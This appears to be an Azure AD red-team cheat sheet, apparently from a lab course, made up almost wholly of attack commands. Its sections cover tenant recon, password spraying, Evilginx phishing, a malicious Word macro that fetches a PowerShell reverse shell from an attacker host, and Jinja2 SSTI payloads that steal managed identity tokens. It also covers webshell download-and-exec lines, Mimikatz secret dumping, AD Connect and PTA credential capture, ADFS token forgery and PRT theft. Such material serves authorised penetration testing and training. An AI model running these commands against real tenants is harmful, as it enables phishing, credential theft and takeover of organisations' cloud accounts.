// 01

Azure AD Discovery & Recon

Tenant Discovery (Unauthenticated)

URLs / API
# Check if tenant exists & get federation info
https://login.microsoftonline.com/getuserrealm.srf?login=<USER>@<DOMAIN>&xml=1

# Get Tenant ID
https://login.microsoftonline.com/<DOMAIN>/.well-known/openid-configuration

# Validate email IDs
https://login.microsoftonline.com/common/GetCredentialType

AADInternals - Tenant Enumeration

PowerShell
# Import AADInternals
Import-Module C:\AzAD\Tools\AADInternals\AADInternals.psd1 -Verbose

# Get tenant name, authentication, brand name and domain
Get-AADIntLoginInformation -UserName <USER>@<DOMAIN>

# Get Tenant ID
Get-AADIntTenantID -Domain <DOMAIN>

# Get all tenant domains
Get-AADIntTenantDomains -Domain <DOMAIN>

# Full external reconnaissance
Invoke-AADIntReconAsOutsider -DomainName <DOMAIN>

Email Discovery & Subdomain Enumeration

PowerShell
# o365creeper - Validate emails
C:\Python27\python.exe C:\AzAD\Tools\o365creeper\o365creeper.py -f C:\AzAD\Tools\email.txt -o C:\AzAD\Tools\validemails.txt

# MicroBurst - Enumerate Azure subdomains
Import-Module C:\AzAD\Tools\MicroBurst\MicroBurst.psm1 -Verbose
Invoke-EnumerateAzureSubDomains -Base <TARGET_BASE> -Verbose

# MicroBurst - Enumerate Azure Blobs
. C:\AzAD\Tools\MicroBurst\Misc\Invoke-EnumerateAzureBlobs.ps1
Invoke-EnumerateAzureBlobs -Base <TARGET_BASE>
// 02

User & Group Enumeration

AzureAD Module - Connect & User Enumeration

PowerShell
# Import and connect
Import-Module C:\AzAD\Tools\AzureAD\AzureAD.psd1
$passwd = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("<USER>@<DOMAIN>", $passwd)
Connect-AzureAD -Credential $creds

# Get current session info
Get-AzureADCurrentSessionInfo
Get-AzureADTenantDetail

# Enumerate all users
Get-AzureADUser -All $true
Get-AzureADUser -ObjectId <USER>@<DOMAIN> | fl *
Get-AzureADUser -SearchString "admin"
Get-AzureADUser -All $true | ?{$_.DisplayName -match "admin"}

# Users synced from on-prem (has on-prem SID)
Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null}

# Cloud-only users (no on-prem SID)
Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null}

# Objects created/owned by a user
Get-AzureADUser | Get-AzureADUserCreatedObject
Get-AzureADUserOwnedObject -ObjectId <USER>@<DOMAIN>

Group Enumeration

PowerShell
# List all groups
Get-AzureADGroup -All $true
Get-AzureADGroup -SearchString "admin" | fl *

# Dynamic Membership groups
Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}

# Groups synced from on-prem vs cloud-only
Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null}
Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null}

# Members of a group
Get-AzureADGroupMember -ObjectId <GROUP_ID>

# Groups and roles where user is member
Get-AzureADUserMembership -ObjectId <USER>@<DOMAIN>

Device Enumeration

PowerShell
# All devices
Get-AzureADDevice -All $true
Get-AzureADDevice -All $true | ?{$_.ApproximateLastLogonTimeStamp -ne $null}

# Device owners and registered users
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser

# Devices owned/registered by a user
Get-AzureADUserOwnedDevice -ObjectId <USER>@<DOMAIN>
Get-AzureADUserRegisteredDevice -ObjectId <USER>@<DOMAIN>

# Intune managed devices
Get-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"}
// 03

Applications & Service Principals

Application Enumeration

PowerShell
# All application objects
Get-AzureADApplication -All $true
Get-AzureADApplication -All $true | ?{$_.DisplayName -match "app"}

# Application password credentials
Get-AzureADApplicationPasswordCredential

# Owner of an application
Get-AzureADApplication -ObjectId <APP_OBJECT_ID> | Get-AzureADApplicationOwner | fl *

# Apps where user has a role
Get-AzureADUser -ObjectId <USER>@<DOMAIN> | Get-AzureADUserAppRoleAssignment | fl *

# Apps where group has a role
Get-AzureADGroup -ObjectId <GROUP_ID> | Get-AzureADGroupAppRoleAssignment | fl *

Service Principal Enumeration

PowerShell
# All service principals
Get-AzureADServicePrincipal -All $true
Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -match "app"}

# SPs with key credentials (password)
Get-AzureADServicePrincipal -All $true | %{if(Get-AzureADServicePrincipalKeyCredential -ObjectID $_.ObjectID){$_}}

# Owner of a service principal
Get-AzureADServicePrincipal -ObjectId <SP_ID> | Get-AzureADServicePrincipalOwner | fl *

# Objects owned/created by SP
Get-AzureADServicePrincipal -ObjectId <SP_ID> | Get-AzureADServicePrincipalOwnedObject
Get-AzureADServicePrincipal -ObjectId <SP_ID> | Get-AzureADServicePrincipalCreatedObject

# Group/role membership of SP
Get-AzureADServicePrincipal -ObjectId <SP_ID> | Get-AzureADServicePrincipalMembership | fl *
// 04

Administrative Roles & RBAC

Directory Roles

PowerShell
# All role templates
Get-AzureADDirectoryRoleTemplate

# Enabled roles
Get-AzureADDirectoryRole

# Members of Global Administrator role
Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember

# Custom directory roles (AzureADPreview)
Import-Module C:\AzAD\Tools\AzureADPreview\AzureADPreview.psd1
Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $false} | select DisplayName

Administrative Units

PowerShell
# Enumerate Administrative Units
Get-AzureADMSAdministrativeUnit

# Members of an AU
Get-AzureADMSAdministrativeUnit -Id <AU_ID>
Get-AzureADMSAdministrativeUnitMember -Id <AU_ID>

# Scoped role membership of an AU
Get-AzureADMSScopedRoleMembership -Id <AU_ID> | fl *

Azure RBAC Role Assignments

PowerShell
# All Azure RBAC role assignments
Get-AzRoleAssignment

# Role assignments for a specific user
Get-AzRoleAssignment -SignInName <USER>@<DOMAIN>

# Role assignments for a resource scope
Get-AzRoleAssignment -Scope <RESOURCE_ID>

# Get role definition details
Get-AzRoleDefinition -Name "<ROLE_NAME>"
// 05

Az PowerShell Enumeration

Connect & Context

PowerShell
# Connect with credentials
$creds = Get-Credential
Connect-AzAccount -Credential $creds

# Current context and subscriptions
Get-AzContext
Get-AzContext -ListAvailable
Get-AzSubscription

Resource Enumeration

PowerShell
# All resources visible to current user
Get-AzResource

# Users and groups
Get-AzADUser
Get-AzADUser -UserPrincipalName <USER>@<DOMAIN>
Get-AzADUser -SearchString "admin"
Get-AzADGroup
Get-AzADGroupMember -ObjectId <GROUP_ID>

# Application and service principal objects
Get-AzADApplication
Get-AzADServicePrincipal

# VMs, Web Apps, Functions, Storage, KeyVault
Get-AzVM | fl
Get-AzWebApp
Get-AzFunctionApp
Get-AzStorageAccount | fl
Get-AzKeyVault

# Resource groups
Get-AzResourceGroup
// 06

Azure CLI Enumeration

Login & Account Info

Bash / CMD
# Login with credentials
az login -u <USER>@<DOMAIN> -p <PASSWORD>

# Login without subscription
az login -u <USER>@<DOMAIN> -p <PASSWORD> --allow-no-subscriptions

# Login with Managed Identity
az login --identity

# Tenant and subscription info
az account tenant list
az account subscription list
az ad signed-in-user show

User, Group & App Enumeration

Bash / CMD
# Users
az ad user list --output table
az ad user list --query "[].{UPN:userPrincipalName, Name:displayName}" --output table
az ad user list --query "[?onPremisesSecurityIdentifier!=null].displayName"

# Groups
az ad group list
az ad group show -g "<GROUP_NAME>"
az ad group member list -g "<GROUP_NAME>" --query "[].[displayName]" -o table

# Applications & Service Principals
az ad app list --query "[].[displayName]" -o table
az ad app owner list --id <APP_ID>
az ad sp list --all --query "[].[displayName]" -o table
az ad sp owner list --id <SP_ID> --query "[].[displayName]" -o table

# VMs and KeyVaults
az vm list
az keyvault list
az keyvault secret list --vault-name <VAULT_NAME>
az keyvault secret show --name <SECRET_NAME> --vault-name <VAULT_NAME>

# Role assignments
az role assignment list --all --assignee "<OBJECT_ID>"
// 07

Tokens & API Access

Get Access Tokens

PowerShell
# Get ARM Access Token
Get-AzAccessToken
(Get-AzAccessToken).Token

# Get MS Graph Access Token
Get-AzAccessToken -ResourceTypeName MSGraph
(Get-AzAccessToken -Resource "https://graph.microsoft.com").Token

# Az CLI - Get tokens
az account get-access-token
az account get-access-token --resource-type aad-graph

Connect with Tokens

PowerShell
# Connect Az with Access Token
Connect-AzAccount -AccountId <ACCOUNT_ID> -AccessToken <ACCESS_TOKEN>

# Connect with both ARM and Graph tokens
Connect-AzAccount -AccountId <ACCOUNT_ID> -AccessToken <ARM_TOKEN> -MicrosoftGraphAccessToken <GRAPH_TOKEN>

# Connect with Access Token + KeyVault Token
Connect-AzAccount -AccessToken <ARM_TOKEN> -AccountId <ACCOUNT_ID> -KeyVaultAccessToken <KEYVAULT_TOKEN>

# Connect AzureAD with AAD Graph token
Connect-AzureAD -AadAccessToken <AAD_TOKEN> -TenantId <TENANT_ID> -AccountId <OBJECT_ID>

REST API Calls

PowerShell
# List subscriptions via REST
$Token = "<ACCESS_TOKEN>"
$URI = "https://management.azure.com/subscriptions?api-version=2020-01-01"
$RequestParams = @{
    Method  = 'GET'
    Uri     = $URI
    Headers = @{ 'Authorization' = "Bearer $Token" }
}
(Invoke-RestMethod @RequestParams).value

# List resources in a subscription
$URI = "https://management.azure.com/subscriptions/<SUB_ID>/resources?api-version=2020-10-01"

# Check permissions on a resource
$URI = "https://management.azure.com/<RESOURCE_ID>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"

# MS Graph API call
$URI = "https://graph.microsoft.com/v1.0/users"
Tokens are cached in C:\Users\<USERNAME>\.Azure - Check for saved tokens with Save-AzContext
// 08

Password Spray & Credential Attacks

MSOLSpray - Password Spraying

PowerShell
# MSOLSpray - Brute force Azure AD
. C:\AzAD\Tools\MSOLSpray\MSOLSpray.ps1
Invoke-MSOLSpray -UserList C:\AzAD\Tools\validemails.txt -Password "<PASSWORD>" -Verbose

Extract Credentials from History/Transcripts

PowerShell
# PowerShell command history
cat C:\Users\<USER>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

# PowerShell transcripts
cat C:\Transcripts\<DATE>\PowerShell_transcript.<HOSTNAME>.*.txt
// 09

Phishing & Illicit Consent

Illicit Consent Grant Attack

PowerShell
# Check if users can consent to apps (AzureADPreview)
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
# If output = ManagePermissionGrantsForSelf.microsoft-user-default-legacy -> users can consent

# 365-Stealer setup
# 1. Register multitenant app with redirect URI https://<ATTACKER_IP>/login/authorized
# 2. Add Delegated permissions: user.read, User.ReadBasic.All
# 3. Create client secret
# 4. Run XAMPP + copy 365-stealer to C:\xampp\htdocs
# 5. Configure CLIENTID, REDIRECTURL, CLIENTSECRET
# 6. Send phishing link to target

Evilginx2 - Token Phishing

CMD
# Evilginx2 setup
evilginx2 -p C:\AzAD\Tools\evilginx2\phishlets
config domain <ATTACKER_DOMAIN>
config ip <ATTACKER_IP>
phishlets hostname o365 login.<ATTACKER_DOMAIN>
phishlets get-hosts o365
phishlets enable o365

# Create lure and get phishing URL
lures create o365
lures get-url 0

Macro RCE via Phishing

PowerShell
# Create malicious Word document
iex (New-Object Net.Webclient).downloadstring("http://<ATTACKER_IP>:82/Out-Word.ps1")
Out-Word -Payload "powershell iex (New-Object Net.Webclient).downloadstring('http://<ATTACKER_IP>:82/Invoke-PowerShellTcp.ps1');Power -Reverse -IPAddress <ATTACKER_IP> -Port 4444" -OutputFile <OUTPUT>.doc

# Upload via 365-Stealer
python 365-Stealer.py --refresh-user <TARGET_USER>@<DOMAIN> --upload C:\AzAD\Tools\<FILE>.doc

# Catch reverse shell
C:\AzAD\Tools\netcat-win32-1.12\nc.exe -lvp 4444
// 10

Privilege Escalation

Dynamic Group Abuse

PowerShell
# Check for Dynamic Membership groups
Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}

# Abuse: change user email to match dynamic rule
# Example: if rule matches "*vendor*" in OtherMails
Connect-AzureAD -Credential $creds -TenantId <TENANT_ID>
Set-AzureADUser -ObjectId <USER_OBJECT_ID> -OtherMails <MATCHING_EMAIL> -Verbose

Service Principal Secret Addition

PowerShell
# Add secret to Enterprise Apps we can abuse
. C:\AzAD\Tools\Add-AzADAppSecret.ps1
Add-AzADAppSecret -GraphToken $graphtoken -Verbose

# If we are owner of an app, add password credential
Get-AzureADApplicationOwner -ObjectId <APP_OBJECT_ID>
New-AzureADApplicationPasswordCredential -ObjectId <APP_OBJECT_ID>

# Login as service principal with new secret
az login --service-principal -u <APP_ID> -p <APP_SECRET> -t <TENANT_ID>

# Check API permissions of the app
$app = Get-AzureADApplication -ObjectId <APP_OBJECT_ID>
$app.RequiredResourceAccess | ConvertTo-Json -Depth 3

User Data Extraction from VM

PowerShell
# Extract user data from VM metadata endpoint
$userData = Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021-01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))
// 11

Lateral Movement

VM Command Execution

PowerShell
# Execute command on Azure VM (Az PowerShell)
Invoke-AzVMRunCommand -VMName <VM_NAME> -ResourceGroupName <RG_NAME> -CommandId 'RunPowerShellScript' -ScriptPath '<SCRIPT_PATH>' -Verbose

# Execute command on Azure VM (Az CLI)
az vm run-command invoke --resource-group <RG_NAME> -n <VM_NAME> --command-id RunPowerShellScript --scripts "<COMMAND>"

# Get VM public IP
Get-AzVM -Name <VM_NAME> -ResourceGroupName <RG_NAME> | select -ExpandProperty NetworkProfile
Get-AzNetworkInterface -Name <NIC_NAME>
Get-AzPublicIpAddress -Name <IP_NAME>

Add Local Admin via VM Extension

PowerShell
# Check existing VM extensions
Get-AzVMExtension -ResourceGroupName "<RG_NAME>" -VMName "<VM_NAME>"

# Modify extension to add local admin
Set-AzVMExtension -ResourceGroupName "<RG_NAME>" -ExtensionName "ExecCmd" -VMName "<VM_NAME>" -Location "<LOCATION>" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users <USERNAME> <PASSWORD> /add /Y; net localgroup administrators <USERNAME> /add"}'

# Connect via PSRemoting
$password = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('<USERNAME>', $password)
$sess = New-PSSession -ComputerName <VM_IP> -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess

Check Azure AD Join Status

CMD
# Check if machine is Azure AD joined
dsregcmd /status
# Look for AzureAdJoined: YES
// 12

Azure AD Connect Abuse

PHS (Password Hash Sync) Abuse

PowerShell
# On the AD Connect server, extract sync credentials
Import-Module C:\Users\Administrator\Documents\AADInternals\AADInternals.psd1
Get-AADIntSyncCredentials
# Extracts MSOL_* and Sync_* account credentials

# Use Sync account to get AADGraph access token
$passwd = ConvertTo-SecureString '<SYNC_PASSWORD>' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("<SYNC_ACCOUNT>@<DOMAIN>", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds -SaveToCache

# Get ImmutableId of target user
Get-AADIntUser -UserPrincipalName <TARGET_USER>@<DOMAIN> | select ImmutableId

# Reset user password using Sync account
Set-AADIntUserPassword -SourceAnchor "<IMMUTABLE_ID>" -Password "<NEW_PASSWORD>" -Verbose

PTA (Pass-Through Auth) Spy

PowerShell
# On the PTA server, install PTA spy
Import-Module C:\Users\<ADMIN>\Documents\AADInternals\AADInternals.psd1
Install-AADIntPTASpy

# Capture passwords in cleartext
Get-AADIntPTASpyLog -DecodePasswords

ADFS Token Forging

PowerShell
# On the ADFS server, export signing certificate
Export-AADIntADFSSigningCertificate

# Get ImmutableID of target on-prem user
Import-Module C:\AzAD\Tools\ADModule\Microsoft.ActiveDirectory.Management.dll
[System.Convert]::ToBase64String((Get-ADUser -Identity <ON_PREM_USER> -Server <DC_IP> -Credential $creds | select -ExpandProperty ObjectGUID).tobytearray())

# Forge SAML token and open portal
Open-AADIntOffice365Portal -ImmutableID <IMMUTABLE_ID> -Issuer http://<ADFS_DOMAIN>/adfs/services/trust -PfxFileName C:\users\<ADMIN>\Documents\ADFSSigningCertificate.pfx -Verbose

# Copy generated HTML to student VM and open in browser
Copy-Item -FromSession $adfs -Path C:\Users\<ADMIN>\AppData\Local\Temp\*.tmp.html -Destination C:\AzAD\Tools\
// 13

Azure Resources Abuse

Storage Account & Blob Abuse

PowerShell
# Enumerate storage accounts
Get-AzStorageAccount | fl

# Enumerate blobs
. C:\AzAD\Tools\MicroBurst\Misc\Invoke-EnumerateAzureBlobs.ps1
Invoke-EnumerateAzureBlobs -Base <TARGET_BASE>

# List containers in storage account
Get-AzStorageContainer -Context (Get-AzStorageAccount -Name <STORAGE_NAME> -ResourceGroupName <RG_NAME>).Context

# If SAS URL is available, use Azure Storage Explorer to download

Key Vault Access

PowerShell
# Connect with KeyVault token
Connect-AzAccount -AccessToken <ARM_TOKEN> -AccountId <ACCOUNT_ID> -KeyVaultAccessToken <VAULT_TOKEN>

# Enumerate Key Vaults
Get-AzKeyVault

# List secrets
Get-AzKeyVaultSecret -VaultName <VAULT_NAME>

# Read secret value in plaintext
Get-AzKeyVaultSecret -VaultName <VAULT_NAME> -Name <SECRET_NAME> -AsPlainText

App Service SSTI (Server-Side Template Injection)

Jinja2 / Python
# Enumerate config variables
{{config.items()}}

# Execute OS commands
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}

# Read environment variables (look for IDENTITY_ENDPOINT, IDENTITY_HEADER)
{{config.__class__.__init__.__globals__['os'].popen('env').read()}}

# Request ARM token via Managed Identity
{{config.__class__.__init__.__globals__['os'].popen('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&api-version=2017-09-01" -H secret:$IDENTITY_HEADER').read()}}

# Request KeyVault token via Managed Identity
{{config.__class__.__init__.__globals__['os'].popen('curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER').read()}}

App Service - File Upload Shell

PowerShell
# Upload webshell (.phtml) to app service
# Access: https://<APP_NAME>.azurewebsites.net/uploads/<SHELL>.phtml?cmd=env
# Look for IDENTITY_ENDPOINT, IDENTITY_HEADER and client_id

# Connect with extracted token
Connect-AzAccount -AccessToken <TOKEN> -AccountId <CLIENT_ID>
// 14

Automation Account Abuse

Enumerate Automation Accounts

PowerShell / CLI
# List Automation Accounts
az automation account list

# Check objects owned by current user
az ad signed-in-user list-owned-objects

# If user can be added to Automation Admins group
Add-AzureADGroupMember -ObjectId <GROUP_ID> -RefObjectId <USER_OBJECT_ID> -Verbose

# Check role on Automation Account (look for Contributor)
Get-AzRoleAssignment -Scope <AUTOMATION_ACCOUNT_RESOURCE_ID>

# Check Hybrid Worker Groups
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AA_NAME> -ResourceGroupName <RG_NAME>

Runbook Import, Publish & Execute

PowerShell
# Import runbook
Import-AzAutomationRunbook -Name <RUNBOOK_NAME> -Path <PS1_PATH> -AutomationAccountName <AA_NAME> -ResourceGroupName <RG_NAME> -Type PowerShell -Force -Verbose

# Publish runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK_NAME> -AutomationAccountName <AA_NAME> -ResourceGroupName <RG_NAME> -Verbose

# Start runbook on Hybrid Worker
Start-AzAutomationRunbook -RunbookName <RUNBOOK_NAME> -RunOn <WORKER_GROUP> -AutomationAccountName <AA_NAME> -ResourceGroupName <RG_NAME> -Verbose

# Catch reverse shell
C:\AzAD\Tools\netcat-win32-1.12\nc.exe -lvp 4444

Az CLI - Runbook Privilege Escalation

Bash / CMD
# Create runbook via CLI
az automation runbook create --automation-account-name "<AA_NAME>" --resource-group "<RG_NAME>" --name "<RUNBOOK_NAME>" --type "PowerShell" --location "<LOCATION>"

# Replace runbook content with privesc script
az automation runbook replace-content --automation-account-name "<AA_NAME>" --resource-group "<RG_NAME>" --name "<RUNBOOK_NAME>" --content privesc.ps1

# Publish and start
az automation runbook publish --automation-account-name "<AA_NAME>" --resource-group "<RG_NAME>" --name "<RUNBOOK_NAME>"
az automation runbook start --automation-account-name "<AA_NAME>" --resource-group "<RG_NAME>" --name "<RUNBOOK_NAME>"
Privesc script example: Use Connect-AzAccount -Identity then New-AzRoleAssignment to grant Owner role to your user ObjectId on the subscription scope.
// 15

Advanced Enumeration Tools

ROADTools

CMD / Python
# ROADRecon - Azure AD enumeration
cd C:\AzAD\Tools\ROADTools
pipenv shell

# Authenticate
roadrecon auth -u <USER>@<DOMAIN> -p <PASSWORD>

# Gather data and launch GUI
roadrecon gather
roadrecon gui

Stormspotter

CMD / Python
# Start backend
cd C:\AzAD\Tools\stormspotter\backend
pipenv shell
python ssbackend.pyz

# Start frontend (new terminal)
cd C:\AzAD\Tools\stormspotter\frontend\dist\spa
quasar.cmd serve -p 9091 --history

# Collect data (new terminal)
cd C:\AzAD\Tools\stormspotter\stormcollector
pipenv shell
az login -u <USER>@<DOMAIN> -p <PASSWORD>
python C:\AzAD\Tools\stormspotter\stormcollector\sscollector.pyz

AzureHound & BloodHound Neo4j Queries

PowerShell / Cypher
# Run AzureHound
Connect-AzAccount -Credential $creds
Connect-AzureAD -Credential $creds
. C:\AzAD\Tools\AzureHound\AzureHound.ps1
Invoke-AzureHound -Verbose

# Neo4j Cypher Queries:

# Find all Global Administrators
MATCH p =(n)-[r:AZGlobalAdmin*1..]->(m) RETURN p

# Find all paths to an Azure VM
MATCH p = (n)-[r]->(g:AZVM) RETURN p

# Find all paths to an Azure KeyVault
MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p

# Find all paths to an Azure Resource Group
MATCH p = (n)-[r]->(g:AZResourceGroup) RETURN p

# Find Owners of Azure Groups
MATCH p = (n)-[r:AZOwns]->(g:AZGroup) RETURN p
// 16

PRT Attacks

Request Nonce

PowerShell
# Request a nonce for PRT
$TenantId = "<TENANT_ID>"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
$Params = @{
    "URI"    = $URL
    "Method" = "POST"
}
$Body = @{
    "grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce

Extract PRT with ROADToken

PowerShell
# Send tools to target
Copy-Item -ToSession $sess -Path C:\AzAD\Tools\ROADToken.exe -Destination C:\Users\Public\ -Verbose
Copy-Item -ToSession $sess -Path C:\AzAD\Tools\PsExec64.exe -Destination C:\Users\Public\ -Verbose
Copy-Item -ToSession $sess -Path C:\AzAD\Tools\SessionExecCommand.exe -Destination C:\Users\Public\ -Verbose

# Extract PRT using target user's session (run as SYSTEM)
Invoke-Command -Session $sess -ScriptBlock{C:\Users\Public\PsExec64.exe -accepteula -s "cmd.exe" "/c C:\Users\Public\SessionExecCommand.exe <TARGET_USER> C:\Users\Public\ROADToken.exe <NONCE> > C:\Users\Public\PRT.txt"}

Use PRT as Cookie

Browser
# 1. Navigate to https://login.microsoftonline.com/login.srf
# 2. Clear ALL cookies in browser
# 3. Add cookie: x-ms-RefreshTokenCredential = <PRT_TOKEN>
# 4. Set cookie flags: HTTPOnly = true, Secure = true
# 5. Visit https://login.microsoftonline.com/login.srf again
# 6. You are now logged in as the target user
// 17

App Proxy & Intune Abuse

Application Proxy Enumeration

PowerShell
# Enumerate Application Proxy apps
Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}}

# Get service principal for the app
Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -eq "<APP_NAME>"}

# Get assigned users and groups
. C:\AzAD\Tools\Get-ApplicationProxyAssignedUsersAndGroups.ps1
Get-ApplicationProxyAssignedUsersAndGroups -ObjectId <SP_OBJECT_ID>

Shell Upload via App Proxy

PowerShell
# If app has file upload, upload webshell
# Access via proxy URL:
https://<APP_PROXY_URL>/dist/uploads/<SHELL>.phtml?cmd=powershell iex (New-Object Net.Webclient).downloadstring('http://<ATTACKER_IP>:82/Invoke-PowerShellTcp.ps1');Power -Reverse -IPAddress <ATTACKER_IP> -Port 4444

# Extract secrets from compromised machine
iex (New-Object Net.Webclient).DownloadString("http://<ATTACKER_IP>:82/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"token::elevate" "lsadump::secrets"'

Intune Script Deployment

Portal
# As Intune Administrator:
# 1. Go to https://endpoint.microsoft.com/#home
# 2. Navigate to Devices -> All Devices (check enrolled devices)
# 3. Go to Scripts and click Add for Windows 10
# 4. Upload PowerShell script (e.g., add_user.ps1)
# 5. In Assignments select Add All Users -> Add All Devices
# Script executes as SYSTEM on enrolled devices
// 18

GitHub & Function App Exploitation

Function App Token Extraction

Python / PowerShell
# Modify function code to extract Managed Identity token
import logging, os
import azure.functions as func

def main(req: func.HttpRequest) -> func.HttpResponse:
    logging.info('Python HTTP trigger function processed a request.')
    IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
    IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
    cmd = 'curl "%s?resource=https://management.azure.com&api-version=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
    val = os.popen(cmd).read()
    return func.HttpResponse(val, status_code=200)

# Use extracted token (get client_id as AccountId)
Connect-AzAccount -AccessToken <FUNCTION_TOKEN> -AccountId <CLIENT_ID>

CI/CD Abuse via GitHub

Bash / Git
# If we have SSH keys for a GitHub account
mkdir C:\Users\<USER>\.ssh
copy C:\AzAD\Tools\id_rsa C:\Users\<USER>\.ssh\id_rsa
ssh -T git@github.com

# Clone repository linked to Function App
git clone git@github.com:<ORG>/<REPO>.git

# Modify function code or add malicious user JSON
# Example: create user via Function App trigger
git add .
git config --global user.email "<COMPROMISED_EMAIL>"
git config --global user.name "<COMPROMISED_USER>"
git commit -m "Update"
git push

# Trigger the Function App
# https://<FUNCTION_APP>.azurewebsites.net/api/<FUNCTION_NAME>?id=

Resource Group Deployment Secrets

PowerShell
# List resource groups
Get-AzResourceGroup

# List deployments (may contain credentials)
Get-AzResourceGroupDeployment -ResourceGroupName <RG_NAME>

# Download deployment template (search for hardcoded creds)
Save-AzResourceGroupDeploymentTemplate -ResourceGroupName <RG_NAME> -DeploymentName <DEPLOYMENT_NAME>